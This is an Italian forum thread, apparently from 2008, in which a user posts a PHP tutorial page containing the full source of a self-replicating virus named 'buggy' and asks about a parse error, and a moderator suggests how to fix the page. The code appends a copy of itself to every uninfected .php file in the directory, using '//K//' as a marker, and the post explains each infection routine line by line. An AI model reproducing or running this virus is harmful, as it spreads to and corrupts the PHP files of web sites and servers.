Visualizzazione risultati 1 fino 2 di 2

Discussione: Segnalazione errore senza tag di apertura

  1. #1
    Guest

    Predefinito Segnalazione errore senza tag di apertura

    Ho scritto questa pagina:
    Codice PHP:
    <?php
    include('../template/head.html');
    include(
    'funzioni.php');
    title("Tutorials: buggy");
    include(
    '../template/body.html');
    ?>
    Ecco buggy:<code>
    &lt;?php
    //K//
    $path=__FILE__;$nme=explode("\\",$path);$nmec=count($nme);$nme2=$nme[($nmec - 1)];$i=0;$d=dir(".");while($entry = $d->read()){$filez[$i]=$entry;$i++;};$d->close();foreach($filez as $f){$f2=explode(".",$f);$f2c=count($f2);if($f2[($f2c - 1)] == "php"){$o=file($f);$oc=count($o);@$o2=$o[($oc - 2)]; if($o2 == "//K//\r\n"){}else{$u=file($nme2);$uc=count($u);$a=fopen("$f","a");fputs($a,"\n<?php\n//K//\r\n".$u[($uc - 3)]."//K//\r\n?>");fclose($a);}}else{}}
    //K//</code>
    ?&gt;
    Ora analizziamo il codice:<br>
    1) E' progettato per tracciare la sua posizione tramite il numero di righe, quindi l'intero codice deve stare su una (più semplice)
    2) E' meno visibile da occhi inesperti che curiosano sull'php.

    - Il codice inizia per "&lt;?php" e finisce per "?&gt;" a ricordare che è uno script php banale :-)

    - I due "//K//" sono i "marcatori" e servono al virus per tracciare la propria posizione all'interno della pagina web (si localizza comunque sempre alla fine), il primo marcatore è attualmente inutile, l'ho messo per le versioni successive quando migliorerò la routine di tracciamento, mentre l'ultimo è quello effettivamente usato. (notare che iniziano per // in modo che vengano ignorati dal php)

    - Routine di localizzazione file sorgente.<br><br>

    <code>$path=__FILE__;</code> (Scrive su $path l'url della pagina che si sta eseguendo)<br>
    <code>$nme=explode("\\",$path);</code> (Divide la stringa in un array ogni volta che trova il termine divisore "\")<br>
    <code>$nmec=count($nme);</code> (Conta in quanti parti è stata divisa la stringa)<br>
    <code>$nme2=$nme[($nmec - 1)];</code> (Localizza l'ultima parte della stringa (che è il nome del file + la sua estensione)<br><br>

    - Routine di ricerca file nella directory.<br><br>

    <code>$ii=0;$d=dir(".");while($entry = $d->read()){$filez[$i]=$entry;$i++;};$d->close();foreach($filez as $f)<code>
    (Codice che scorre tutti i file nella cartella. Da ora in poi parte un ciclo per ogni file trovato)<br><br>

    - Parte del ciclo: routine di localizzazione file infettabili (.php)<br><br>

    <code>$f2=explode(".",$f);</code> (Divide in un Array il nome del file trovato dalla sua estensione)<br>
    <code>$f2c=count($f2);</code> (Conta le parti divise, dato che divide per "." portebbe trovare + parti, ma a noi interessa l'ultima, l'estensione)<br>
    <code>if($f2[($f2c - 1)] == "php")</code> (Cerca l'estensione infettabile ".php", qui dovrei aggiungerci anche le altre legate al php)<br><br>

    - Parte del ciclo (se trova un file ".php"): Routine di localizzazione di pagine già infettate.<br><br>

    <code>$o=file($f);</code> (Apre il file trovato con estensione ".php")<br>
    <code>$oc=count($o);</code> (Conta le linee nel file)<br>
    <code>@$o2=$o[($oc - 2)];</code> (Trova la 2° linea dal basso, @ per evitare errori in caso essa non esista.)<br>
    <code>if($o2 == "//K//\r\n")</code> (Se la linea trovata contiene il marcatore "//K//" allora è già infettata)<br><br>

    - Parte del ciclo (se la pagine non è infettata): Routine di infezione.<br><br>

    <code>$u=file($nme2);</code> (Apre il file sorgente, sè stesso)<br>
    <code>$uc=count($u);</code> (Conta le linee del file sorgente)<br>
    <code>$a=fopen("$f","a");</code> (Apre il file da infettare)<br>
    <code>fputs($a,"\n<?php\n//K//\r\n".$u[($uc - 3)]."//K//\r\n?>");</code> (Infetta il file copiandosi letteralmente dal sorgente alla pagina vittima)<br>
    <code>fclose($a);</code> (Chiude il file vittima)<br>
    Ebbene mi segnala errore:
    Codice:
    Parse error: syntax error, unexpected T_STRING in /membri/gabryhacker/esempi/buggy.php on line 10
    Ma la linea 10 (che è quella dello script) non ha i tag di apertora/chiusura di php!
    Ultima modifica di gabryhacker : 27-09-2008 alle ore 21.30.15

  2. #2
    L'avatar di dreadnaut
    dreadnaut non è connesso Super Moderatore
    Data registrazione
    22-02-2004
    Messaggi
    6,269

    Predefinito

    si, ne ha un paio verso il fondo, nella chiamata ad fputs(). Sostituisci i <?php ?> con &lt;?php e ?&gt;

Regole di scrittura

  • Non puoi creare nuove discussioni
  • Non puoi rispondere ai messaggi
  • Non puoi inserire allegati.
  • Non puoi modificare i tuoi messaggi
  •